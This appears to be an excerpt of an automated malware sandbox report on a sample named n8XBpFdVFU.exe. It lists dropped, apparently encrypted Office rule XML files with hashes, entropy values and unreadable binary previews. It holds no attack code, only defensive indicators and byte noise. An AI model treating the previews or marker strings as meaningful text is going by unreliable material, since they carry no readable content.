Preview:	<?xml.~..#....L?.....w.....>.g....5...^1g.V.:.7..3.Z..("3O...'....w.v.o.>..;....7.G..UF.?4.+O<.{1...dc...!...y....5....^.;pU.N~wu.-[..6..0T2........l]...9M.i..T...'..}..#w-..].....R.a..\|...].;..^..9...v;.C...~i..cn.<#r]._{....@.B.....xy.7.6...,.a..8$.(.]Y..n.K.{....T......!....:E.o....&h:.h\Z...A.._.;.z.P.oh.......UL..e..\|.......$.....j=.......4....1-.A5.m..X.O.wl.O.....M,....g.T.....b.!.1...>...6..^Y.kv......v.@.?J..GW...R..R..1..Ks......)..F~oH..lp.V.Lr.T...u..{qj...e.....B....F.....R.Uz...EW\|...4..<.@@.4....!..=0.Y.~ .RkZ.ml...W)X..?.)Y.....z...L.Tj.BW@..9d...9..........L......O~(...]~C.1.h../.G._....l..C..>..+(z$X..\|.Ib..K...g.[t..t...?2t.Ye..d....-...-...T.RgI..5m.6.......z"..q...?...v..5@..q.K..h.@,8\|G7.uG......w.t.Q...~M.xI.w..D..S.T.G.HB.a.E.`v..!T...vSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.833791376942224
Encrypted:	false
SSDEEP:	24:6U3JO0BDPbOy8pSfxhJtMbNs5RNMl8aEX40TsPGzVunjrNvQTi052bD:93Uy8whjMbNYMl8sWXaGRkD
MD5:	44B969E782EAE952C6B39C577DC57298
SHA1:	9988773419E95F8946D515F5BA3EF3922EE8C008
SHA-256:	9F4DCCEB368ADF2BC4C503EBC6C0DF9C806E752F48A4BB8CCB519848726122A2
SHA-512:	183BA2B2E8737A8E8FB815685F86CDA1114D8CD8BADEA20FBF7FDA7DADAFA148684D6DA964B84AD247C27DCF944FB00B05BFBE31D4F2EF448BD21E009D692E30
Malicious:	false
Preview:	<?xml!o{. (S\|.#.Ct..5.K.>.........TGO.#.....g...k.+..Y.%'...K.fYL5..O....!...v.qio..<.&..~.;....k./RL.CM...k.VR......6.....IU....f.....ey......;."n..T.n.=>OC......0-....V^.atL.....ZW...Pa.~.Y.....%F.h..8.k..A...n.v../:....E..W6R6/.......{..@.:...X...t.S....w)Dr....<$.T..mI.i...KGtO/.L.q .N..+...Y..........U.9.,..a......;.j..ngG..wI.yf),S.....%.[-^...........rT..t...`...r..=../K'.....'...2....q.b.uR.9G...pV.......J:........T.il....0_.{M......w......=..;....h01....$...f./vAd..u......3.....0z+d'......uL....X...j.0...fl...4...\|&x...../..~/..)n.3v..?USYl...ol.i1..m..,w.......WY..G..D.Q.8......T.h .:.&...K.e..fa.,.K......Q3...0l-.Sj...:.r8.+,.s.. W....Nk.nl.2Z.......:....BF.Q...w......R..t....:.I....*.r..Y2.$..H.m....8.pX.E.#l.k..\.W.p..a.....A................u.....M....p....O2..y.O.o..D....c.Q7%L.T.p...\|.&wU:..B<B....s.X.9R.....R..4.LG.h...f.7.fn,-....4r...yr..Gb9.n.A)....g.$.....q...tdww.\....2......_.s..#.....p.v.I../.....K\n..0X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.868051642089747
Encrypted:	false
SSDEEP:	24:tdNQpDM7RUkfxBByWXkO9O9z/S7QrWoc/hU/qlG5DoDzufqbRTUVGbD:BQtAfxBByWXk2qO3hU/qo5DofufqbRA+
MD5:	FF351A918AF707724ABBC4CB3E4D6355
SHA1:	D87ABE554B11D27DD94C2BE4187AB89EDA21B727
SHA-256:	FA5D9ADCF5DB9FB2BBDEA4AE94FA24108B0CF05500B04A8670AD1D45C8D8B350
SHA-512:	8F7409F6A765BF505C8AA9DC2FD5C8A0D6C209D853550D028C4D87A7252B104D9CF2AA76C66999443FDB897997BE1CEAD7A3035E7D039F6CEFC775EE1F54F51D
Malicious:	false
Preview:	<?xmlf.m.4F.....l.......R..@.x.<..9c.}...V..w#..D....."..]>..3%.....@7..2.R..'...c.......nF~.Wp.....rqw.R.....OQ........=..C..g.A....;....+.P#..&.N.-'.S.?.1..Y._..cj.....E.....$.....a1~.6S!.r..'..[sTW{.'. /.?%..z.Q.YPa.=.32}..GO....1....0..e......;.&...z.e.P{Q..A.D.....-.H.%..j.J..5...N.....=/t.irI.."..o2.^..3\|:...O....a/....y.......f.....%]_..6...t.....t....$gW.p.F.1...8;bD...........1.A1.;.....W.2...#..F.........ip~.....Y...\|\|v.7.(.H.4.Q......2m..bP..2E...@....q..{.q.h^?.V`=..}.c..K#.8.r..5m.n....(........j...Y$............M..TC....@.\......8..G........HOG....w...k...-..i......9..4..(,.A..U5.9..]^.........d.l.8.wU.1/VS.j.$0."\.Ta.&^N.\"..._......zdSa.7.s..(....T...o..t?.B7...{I.J.E.O...dy.L.yzp2..0.....&.I....v....}rk.T...].......?.....G\|.:....tO._.mo.k.i\|3....6vQ..D..+..ffH.....#..E_%....P...-x.N.../.?[.a......%..vj.G%.BE.MfYY.ZE..=...../..Lx.54".)7KX.8. .VH'..OF..c..D...g._...@2..BS......E..'..b.......9x2...K.H5T.G...8'9.S.&.fv\|Ug

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.9787185589314875
Encrypted:	false
SSDEEP:	192:O1aG4ZSGDA5YSMUV8rHRwugkRAn/9vcUtUS:kabZSGyYS18HRY/55tl
MD5:	085499F211F45714A7A62B78EDFEF99E
SHA1:	3534EC618301EBF4B4FDC0E8DBBD04E75B6833EC
SHA-256:	C3CDF386ECF5014404AB868865ED0B332C19E8CFC19D1653A305852C751CBBF2
SHA-512:	CDE421127E59561137305B5422B478ED07B36530C966CDD6397CC42150B92A0EC6B893E165DADC4FB35534D9234F5260C2BCFFBF4C2AA6CE418EC24D0BA50493
Malicious:	false
Preview:	<?xml.Q........Ex..&G..Q........N.#.....T..... p=.@.I.,.#l...:.3....F?c....J..E.J.(^n+.O!G....`ud.8.+...)2.gi.'_.O..D...f2.Y...n3.c#n....y3WB.\|C~..P... .O..]........QC.p^k..}.L...o.1]/..}....u.f.(.,.z....!v>..^.F.i..iM...tn..B<].._..y...\|.._3.e.P?v.].x.e...\?....z.E....../FD..C..9Eo...#o.r..wp..[....j@.kA0,..hd...3c...=.........L..{B...8Y..".A.......,~..u....h.>.nH..4_.c.,%Iw.%{.v.+.'..r..[..._..,.,$.u...0.V...0]..............!I`...%..`4AZ......E.P=;.f&...-$..U.F..A.N;GO..;..R.f..P{...Fi.Duo....m {....qk..P.Z9F..0.Eej.b...`.+T.R`d...Y,!...X[+.HL...>.B].WPK%.C...E...#...df....i...}.M....../:.Uz.0j.u..K.7.6.<.\|+.JU....HK.rX4...0..s....zk~......@.E.`..K.Y..,P/.....'3.xT....p..7.]+.29.F.....+..;.\............~.sD..u..H..v...T.d!........!.......Q.iZ.G..4y.....h....}.5.:....%.D.....Q... ...^^...Q...........NY3....tm...d<.!LV....n.......;.<.N\|...v.V...q....4......&.q.s..J.M../.)x..n...Ey<X....~u.q.O......K#./Ay..`._E.yc..B....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.716068770682854
Encrypted:	false
SSDEEP:	12:O7UFtWUh923u5rwCSraW/LCxsBnHcPp6nHLZa5MBLjhVfjXtYxEadLMuaavsuqgB:O7UuUn2e5kCwTIu8Pp6rZaa5jh9xdu4U
MD5:	3B78DE677BCBDE2EA770355C9CF555E8
SHA1:	1499ECDC62BB661155461A2BBD87FD7C70CD9D5F
SHA-256:	E690103FDCA3D9C3CA3D7E621900CC9059DC81E815C30C454F1B67C38717865C
SHA-512:	DFD6EA73B298AA7D9DEDDF10F40E3AC955BFCC4BD2E32F90E7ACDF8A08102FEBB28FA1A832282C9097BD66B174492E32EA9CF9D4373A7276A9214D3D5EF2B6BD
Malicious:	false
Preview:	<?xmlc4...........Gvr.[..._z....trd......'.L.f..\...u.....eB.=..y.R.b..=b2.....x.i.X.`.$..$...{....(._...]...[.0]...D;..A..M.Y_..O....{c....<1...1...zq......9.r..c...G...3I-'...'.q..8.lC.`...=....1.t.o%....gC.&x.Q....bVbd....1~3.j..w.$.]..y....H......!.^sl;..TWm.w8..Zt_.Nl....d.......L.T.....jf(.\|?..!..._.E(..X..I.Q.vS..1E...;.\5..W...\|..)!.DD..g.$O.E+.-8....../J....nb.R0P...MI.C."5.m.......d......... .~7.~p...$...K.xkgw>.hM..l7..2..Z..X.x.T.........._x..........b....v.....X>..$..\..Rr>...JZ..O=U..):P.w.......t..D ...u4..i.%...xJ..n.Yq...Z.. vZ^...x.'........D....b.4J3.mEXz...]...#..6d.....h.".D*..`K.....`_]g8.,C..u.".%_(..V/..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.860349380197833
Encrypted:	false
SSDEEP:	24:UL+eXecsVsXKgdDdrFq7gpGLpiQdhIw1/zQqQ4gaA5JTfWPdt2+fKEbD:UL65+DdbDQzZ1/8aEBOPdtRfDD
MD5:	9D7761605E7981445A1C882D5EC25DD8
SHA1:	E432CFA2F6DFB1CBA2CB231347683A7B2ABB29F3
SHA-256:	B29C72BDEA7895C15BFD3D46E477E743A34BA4FC0B193592BD1552808E0D9B16
SHA-512:	43F408F11DB63174FAED3F731084D4E56F67D739631B02AD44C300AD7A8B3923BE55A0A5985F5C017B3B6AEC073E47B69BE7FA578976AF6EBBADB8A1DAF02425
Malicious:	false
Preview:	<?xmlyI8w<.}t.._.^..-x"u..^+.g..<H+.m->.>m.....o...V.5.w(.d.+....&.C.v.U..m.U.....d....y.K.q..........Z.d...c..P^'......x.....3......".<.+.s..D...qc...C~mm.PU.]..5.~.;..1.h5_a..5P@H.U\.n`.x9.jB.W....$.d...k...."..?\|;.....q6...,.....)..;.'j..5<N...II!....e\|..b7.jTB...!4..z.d..o..=7....[f.X..E5.`U.k...QF.:......#..y.40....}C.qaA..h.......JI......TF.!...7...0(X..<..9.-..?....]xpo..L..R.$.[:Q.`..z...H._.q..,.y......1.6..,.......m..<.C.....0..w._..k.-..>..../...e E.SE.0..c.......!.?D...V.t..%.$b.T..j..!3...1.d....K.....k8.(.-Y..W.p+E]........&.....E...{ d..L.\.^8....q...C.#:..N...r...y-J..db.._.."...g...V....H..TWx).9.\|.5.....s)N....6...o...!.3.Gt./z..!B........>.r.Y...\|....V/.5.~..[...;1./.Ny..P...R.L.&9..y.....3.x..[..x@...M.cRH....2..d.....e0.......(.-..T.....0.a..*ohr..(..<Z...3:..(M....^...^..fv.M..j"<..\|.tZ._0.n0..k)....Z)x.7n.=..-9..G...t.}....C.+.q3.HI.e.=.........g..\6}Z).......[.}VF.U..g.....5....q............Kp99.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.947456556479973
Encrypted:	false
SSDEEP:	96:X8oXRPGxA9CW51cBuXwy3ajJa5AmCOCssNB:X8oXRw7vuXAEAmRCssNB
MD5:	AF0967B61BA91AAD4FD867208F828249
SHA1:	C4F9114471B9E267582E6FC0B5D03AF867879C08
SHA-256:	D5B5C28BBEF96A4F611AB845086E326AC2098F39E8D93F901D940A10576807E0
SHA-512:	81D196518C7718E9A4595A02BCA657A5BED9666EBA994DD8BD987B56E0007D67535B6E83940D311D32016BF6E731785CA0349E6138FF894FD244EF347E2B12D9
Malicious:	false
Preview:	<?xml.j....$Xr}[.......e'$....0...u[.}....$..a..^.5...)..._.......5./wu}k~..`E...d.......&.!'......S....Y.p{n,.Y#...........[..>........~B..)b2.3xX5.p...9........cf.Y{...".....;.....!...@....r....3...!...{.......].[...A.P....c9.....%...cZ#.45,...q.'...3.T.......j..%.H.p.GAY6.d...".......}.mH.U.bG....n\1.3...5.[>..Cz.)......?.8.....4_u....G/..\|.hKF...i..R....C...-.....Ii...gX.L...M..@.....1.. }..t..@..fm.i.._.CA,..s..?_h.q.m..),<..YaO.2.@u...._....Kbl'.4.........H.U..y=..?="...w..u..[...)...d`%....}Z`.9...... ....g._.S#.......d.....Fk......a.).~.K.a.J........a~wR..j...s..[..'.\.K....t/.....Y\.0g.>.....B..q.....!e......&...Ax......7.....~...p.~\.t.E..L.Lsh0...T.....z#Yw.....)7.@..8.".M.Sf7..k".g&"..Cs.._.^...........w.H....3.I78.@.\|.._`../~..6M4....Y.b..7..l.. 7....s..Qr...X.t..E.....qY9...H/IQ1.IG).T..o....B/%..ux[. ..R...G.3.FVE..X...4..,.#.&+.i._f..R....GwC.}..Yz/K,jm..<.T.....=......d..9H.H.Vf..Wn..?5....,...u%.IK0!l..Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.786884010118734
Encrypted:	false
SSDEEP:	24:xRE4X9zD5QIZZWcyGwRuqmNYmetmrvaRqAxOrSMRMbD:TEKzD5QIZoXGSm7sAwIRGD
MD5:	3E168F576D0D1219DAFB15926919EB8F
SHA1:	F877FB55B262465F6AE1323436F4E6390064701C
SHA-256:	ACDFBE1E7BAD69294CEAEF4098921D27C9AFAA0DCDD64A2C4A57B98DDA884E02
SHA-512:	4277437826C7A519EE4D0F5294533B80754C6ACC61AC58FEF9E31FD4786BB4175F709D220620689709AEDD1EF58A3F72C903C198CF50C690357CF37B316FFE43
Malicious:	false
Preview:	<?xmlV..."..(q2..._W}.......2[.NN....T...lawD.9....;...+.........yz....Q....r..kM/.1.H 3..D.b..6:.p.l'..>.\|.&2.z..d.G.....>.Y....i....,...V.2.v.g.?L.x.7...Y.g_..u41.......[`b..m,j...Y..P3.3[.C.t....:.L...C..._/..1....q.f`..."Oc.W.._.....u..i,wz.\|.T"k....;./q...^.s7n.. 7.{...\|..A......&...&....M....F....F..E...%.g.\|..'.{_A...ER0.......JO...\|....<..s.d....\.TV..?9p.P.`..0.m...Wz.3i...i.(R....\.K.x.+.G\|.:3.kr.<.........q....f..~.....}....Y.%....w.A......Z.'~.U.o.....7.(..~b.....U.!..^IyV.\|v.Dl..`.K..\|3.L.#.....n..c..Hq..g.s...u.^...7.. .HW......p{.g...jN[.../.F..r...!5.z.{a.....D+.zv.W.4..DG7;l..Q..R.[u.......t..z.d`...>..l.M....=^^75..-3...+...h.Y.j..n.>...;u..Qm...;&.(.g...E..c.-.I...NQ[y.a...`<.+.......F{.R..k.UFs.T.&.(.@yzz....b.h_..-...OTr-..s..m.o...g...w.Y...0.CmgJ..*7'n..)N.Q.Nt..cd...uNr)..rx.X.....O.=D.`.v.......g.C.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.935028174045266
Encrypted:	false
SSDEEP:	48:R+19Ba4XTXbVFQXPn0QdG8XI8OXmK6Gnr00s0Iw66x98axCKzcL7Lir5MQf726Vm:R+DBa0TXbDQXPn0r8XoXm1s0N0FLRBzq
MD5:	F10EE3548D1A33A09E7BF07D8C00765D
SHA1:	166062BF00B70656CE0475AEF21D4A9359B79B49
SHA-256:	396267C50F5E88509AEEAE0ECBF93F7CE38855D655D5EE6091A681594FA06195
SHA-512:	C0594AE33760C45CABBFD725EF7F9C3095B9D8C34FB1A23208350486A2575EFDACD34B5125B17A2AB05FE199823E1CDCB94FB46A802942ED5F6B733F41E733D3
Malicious:	false
Preview:	<?xml...j...=...)L+...!..,..o.m.[....{....$..J...$.\`..;d..n.0..:.o.,D.<F}...jy&....V(..i.<.V6Y..,.m.x..r..[..\|..0...E..h....0..[.......Q....[.w&.l.R.Lk....r.j...m\.g9`.Dn.O..]..`...G....by.{...S....$(.k.......K.%....a..9e........:..&..AB...U..Hxp...u...ur;..3...-e..<..$...6.X.j.......D...Pug.a.~.N.....(?m...!.]d.....h..v.~...........cC..(..GX.K:.G?.\..M..J8.k...q-M............W`.$....P.0..A...'...qI.Z..T$.d6.".R..VhrW$.eg........6...M..f.G.2Pc.5..<.l._3.g.L..a.;Z.{..?SW.}d.....K.n.G...`..2>V......,..#.rW.W._..f...Q.......>...c......YE30.IPU.g....`.B=....J..X..@}...i3t2....vl.a3.hq...r..vV.n.l..y5R....\|...sy=..^ 4Jp......(....h....STP........,..KO\..0[j..iK{(.r...\|.....k..2....}.H...XV;k.Fj..Eu^Ie..E.e\...MT..Q.GBty.....9E]Q.6.~9.l...".J...`..R1V.y....`..O../...(.....'...?wNF.hm..a[@N2.w(g.a`_.:..q.&.EZ.._..n.f....<...&..-kcj..A..........q...*.OU.~.aF.[O......m...........S...Q.VPr8_..@...h..m.i. ....._...'T..22.^+...6...jS..C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.926250113547243
Encrypted:	false
SSDEEP:	48:+hstpvO6jf3AtttQT/WbVkY1hbs7+V5eLYbtNCwAKaftwu4SnZDD:+StpGK4Qh2hbsCNtNuKLu4SnZP
MD5:	2334BDDB0F9661EC07F547B0473A8973
SHA1:	BD176CDDCC36B093DE8A519BF7766F8A65FC4D2B
SHA-256:	285E28C997034ACEE9113D8B22C3CFE4389724EAB200CCDD0F47FBB5DFE18637
SHA-512:	0F702276FFEA7700E50E0907FEAA36B566EBAF045FDCB901CB65B3FB0D5E6602759E958E4617B2DBAE3E6774F8E33A145089CC05B865C6071E977850C94947C2
Malicious:	false
Preview:	<?xml..tM.W."=.O-..s.o......4O.Ji....8.3>'.....Iy..i....(..]...s.U\ ....ur....V`..1&)^.4......\|.s...8......O.L./..X....e^.c..Y&..)..U.5....O#....(6+x...M....:........:.<.o.6.!..3..nHpV......K..'...[=jw...*H..l4.X.....L..i.vj..m..T...... `...y..1.r..4.4.puj:=..K......Z.z7..^e.hc.?.]........U[..Q..Z:...~..j.....'...7...?..Z:8....M..5.<..."&kF.....p.$'.2.B..$WN,M-.X.-...5P.E.?.9..P.Jsds.\|.nS.`s...Nx.xR?Ack.z.#......4............Q ..1..w.....Z>......6E..Y(.......1.3@...9)..927`..'..\|>Z......y..<.~..)..%..G;..,..0.......O=...3P...5..I.HH....RaL.k\..8.o.....M.Ey..6..1.......,.../O...kD...Z...x........./].I.....#...N.F(Ld...eu.=.c......y..T.-/Z.~...........#~Y..h. ..B.<...x.....?X&.K.2.or..."^..T....1..3....i....r.vW.p..\g..K..w.S<...4Y.....(."..\|=.....b........."...0.#.............l.$.Q..........H..'...(.."F...=#.]S._..We...c.y.v8$.y.....G.....L.....4...=N../........L..4&,Q..!...J.q......l...2m....k.=.8e.X.Y;.....9.`....9.v.l...^.q..r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.939081328405447
Encrypted:	false
SSDEEP:	96:ojPyM28xU75B7YSTv0H6Pj6WsznFgv62T5Y:vWxOUSLv76WUnFgil
MD5:	98D9A4EDF4AEAC8A0B7626117186D23D
SHA1:	D5AC7057D646873E6C3C81BAE3441DC2E5DC5FF1
SHA-256:	E0AEFAB81B910478FC038DBD0C497673CCCC70FE29AEF1AD4C0A4C4AD72F4B74
SHA-512:	85CE21E3D50DA2BE67C81A17510B855B88BDC3E808CB6BC9031D25BFF1A4A2AB776F9E0EFBE069A168FC34AAFF0BB6F7B2ADEF36EDDAC88687FFA780CFD2BE1C
Malicious:	false
Preview:	<?xml......W..L.#+...x.0}c..y...KbXM....(.]...\|m....`&4...E.y+.@t....!..'.z..%b..M...k..F.l...QGd...:....[.. .....j~.a..dYn.........M.o..}....8zB@,..=K...%3.n..l.#....}kj.......Oom',.....m...W{.....).@.D/.[.... .._.B6...A..w...T......6.B..&..C..PGo.XG.W.....d.t..).-.1...V_!cY.N..T..x.....N..Z...o,}L>/[v$Z..yC+.}p5OJX~a...5..%9.e3.x_..t5.le......W..N...bd..@W.. \|0.T..D...g...s\|Af..2......& ...v. <lM..n;......w..(.Mg..$.....KK.M..IJupv..{.+..n.}.D..!..a..}.<.Q..Cn.....6..>?..`...-.......:`....U..^.@.n..)..X.D.2gy...(.!........0....$w.W.....<..Nabpi6if.ji.p....@-.............Xt...O.<..x..>..{A.P.{..xN}.... >f.....8)K....q...W.n.0T]D....Xu....\|s......(...8..NQq.>.`..9.S.... ...4kY.B.......n..).....".8...q&.$....].$Dj.......IH.ci......-...[).....YzP.....*....QM.........$...y..6l<..-.a.]Y......i/9.._..K..0.N;hmg........g.fmt#.(hX_}.....TZsy...(Gp..M;.).g....5....\..S,\.?.V.9.F....9K5....y...]..l9.:.?:..G3M..a..z...g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.960082802673061
Encrypted:	false
SSDEEP:	96:aR3w2e29sbqq/+vcmn2fm0vzmBgrLX5UHa3sKYYkuLvW++Y3dKd5XNGe8YXPXm:63w2aqqScrO0vqgrLeHazvW+GdPGeJf2
MD5:	B0D241BE734BCBFFC44BAF174D70A94D
SHA1:	C630CFB2CA34938954B8897126C80E97E4B5CCDE
SHA-256:	D4EA09969B6FB8FF9F1F6C5C36C8042C0CA1549F704420EA4EB53B9485611CB1
SHA-512:	F02C8622F6C15D0757B98EB6513EDA20BA0496C5D63325E626121B3E8F3F6E64E40580D09583C5F5A809C5F4CCC4FFF30245DBE48474E6A3AA124E2CD7BFFDEC
Malicious:	false
Preview:	<?xml`a.+.f@)..#."0>..x..(2H.3.L)h.J.l...)..e..p.N4@^.$.....i....e.c.;y.LO.z....[.$.......E4.....P?.a...-.;.t9..s._=K1.<..A..)..~...;B.I.....8~..!.....GF9..o\|...G..,...;....C.........B.BX...s~.^b6j3Y.Hq...%Z.&_`.T...V.u.....,...9.coa...@poW...l..'..&s. .3.WG+..W.%4y.>h:a^.!R.Y3..z.^..7'J.N.R..i.j.Ix.a.....+lt..ng.....L......W. :..A....qIeD....2k...R?..........Ojx.....(G.G.E^...R5.\|......6.....u.R.{..-.".C.Y.........E..P.{..Z>....{..>.~6K..H.K.x.......!N....C.w,gG.c..r&...s>.S..YR..>.fq.hL:.D.............a.1O.`..6.............U..... ..d3/<L6......;.\|]C."..(.A.>..T...$34/.uZ...MQ'Z]......-.[.....H..0....[.=..n....\|.7..%..>..I.yT.j{..^+...F].?\YM.(.rs.....00U.r.I..k.....l.tR..x.)I..T.J.VhX.......:.#U..?t....b...9g!.ao)../.....a........H.$.....jk...;t3G..b?.iI.:..E....*..._..u./A!.<.q.eb..>j..is...A....0Rm.R.(......u~....c.w..Bo......^.`M.....G.M..t...+'..w.!..P..aA.7U..I.....`....D...I...p..~pL.............J.....i.......HS.6.e..q...tokZ...P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.974949533405743
Encrypted:	false
SSDEEP:	192:BKm4Yr4tg2aTAJwuQPownP+CNM4ROCJ8ZCzDET:BKm4e4tCAJFwnP+W/ROCJ4eDET
MD5:	4CE599698652277E8ED9BE2240A0662D
SHA1:	01D33A78C0330C48F0F3F9FD34D35242D7C78438
SHA-256:	88ADFFE0E3C05FE33A465F7A7AE92888DF00565FFF0956301FB79E02C776EC53
SHA-512:	6BCED8FF05E411B6D36CFA865417246789EF9FED4784CD5EB576B3E431EDA34757901D2B78EF67B12CD9F3CEE5CD68DDBE84835AD4A6998F62CD49CBF3C678B5
Malicious:	false
Preview:	<?xml....g....A0...B..9..4$....P.N..x._......<.ycA.+....d8.?.w.m..G.....@.Pu..P.s...e4=...Tw.gE.XI./.g0q.'=A_..o....s.gF...M8.V...{.....9_..A...K..U.j..X.D$.S..K.T..Z=H.wp.O\|.J..r........(z..v`/ul.po.:...C08.....W.U....G.W...8.g8.;b.q3c...j....."...M...]._U.....8..A........s>.W.wG.&...A".G.P'.iO....8......`.x...\....z....K<^...m...Fe.Y....6a....W..[I8DG...~.;...W.7......v.}.y...p.k%....:.'........N.....F...$..2^.A.K_..K.%<t...K..`<..d.........e....VK.Y.......=v7...\|{...x..m..... ....f..w.R.n`h@.....er .m.....0.w;.?+8..e ....VwT..z0&..Lg.8)".......k.y..V\|.~t...x....Y=..}V.#f 3....^$..a.Q"<$d."]\|^...I/.j.60..Bu......]i.U.v..y....>.&@....\.D.x...ok8.....o%r.i..U.I...E....w[2.H.Y...T6\Y{.?..C.).<.OP.....x=0..F....7f..#I.7.....V.<...:......ZJ4.0].1.....3..f.X...b.^...m.3.][Wa.......#..4\U.&a_..jl..'C...Ax....@.r..w...:....\s...?...:......1....]k.!.....m..}Ex.F9.0...45b....". {....... .%v5.(K.e".8....E.f.).N.0.?..aF...d.l3B...N.%H.G.9.C..>FK.m..G...+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.975394674920063
Encrypted:	false
SSDEEP:	192:Pil1uFhYe6p1rL+zVmIPrintbyQKaKsr131+8L98H6n09:Pi1+JXPHQKaX13Lqan09
MD5:	E8A50FF432ABF7682507544A64D0F2C5
SHA1:	476AD40BE7FEB1280E006789003CCAAC6DE3E37C
SHA-256:	99BD62488B8E48253CF55B4F56C8A824BE9100C6FC79D96039C2C78B8807917E
SHA-512:	4BBB3F17EC00F228BA6E96911F06E7E7009F285CFCA31F21034E6914B6D083E3AAA171073DB8171A70DC950FE75E97D03259065F66E76B2E5B4EB42A214C926E
Malicious:	false
Preview:	<?xml.Sx.13..n.q.y8.@...._I.nv..,.9..#K.....1x...?..Dc6...8C(z...w}tBU.oF...a.^...}....E..RTR.r...+...D..}.D.(.xe.h.k.....t[..h..4o..2....vT.....17.ZB>STg....0..t. ....lo.xg@...gxl.<...`u....L.e.0.o".........Q.....+.....:...+...y..H...{.>X.8/d.s.0._L.$}Z...G....?%<..A/0t...i.>R....D.rA.....-...L...j..S.p...zI..6...} 0~6u....TmE.....c.(\|.U"..L.....[.e..!.>....N8...8.j.L:.v..6..}...tn45.....].....a.5..zh....n.Y].+L.)a8,L...b..o.`...g.....9...c.h...&.5...%X.{6#...a....2<.......6....I.n.{>......nD...+..&mPg..2......T.).....i`.~;4..?..'.....M..7.'...._......?....jDZN....M_W.......l.-..........q..[n...&.V0..+...-.X.x.b......rQK.. K.X.8M.5.C.....d8......w...z...k.5~B.....F.z..l.X..z..MVq.R}..j......k...r..'........F.g.....fJR..Tp..................L.z..K....$6..A.`NUJ.n. ......pK.C0.=.....O..z..?... ....R..==j.s.....R=..u/........qW?..E..pN..N..9.7(....#...v}..B\|2....g.)..9qS......\|......y..~3<.]#%.%.....%...........t[...>'"je..!+&'.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.88407709477273
Encrypted:	false
SSDEEP:	24:Wz0RN7cLLfkAfSlzdv4Xntnb2dh1qNHRDSjZQehLuxduHoMlk5wIYA1bD:Wz0RNukLhvAEh1qXSjZxCRMqxYID
MD5:	2C3DF7B9DC9C032A1F1D2F7331423A34
SHA1:	946C9370B946CD1CCAB21A2B899CB5DB8DE42176
SHA-256:	BA0795EEA7A6E58F5375BAF30C5B0F854244705E79D4832BE86C79AA656B9601
SHA-512:	5D2C4FC117D85DD6723FF079DC3AD4BFB11050DB722FD03990FD05DBCAD7872CC2C2B32ABAA678267605D9D40749C9DAEC81DC2FEBF44B51051F9860C219B009
Malicious:	false
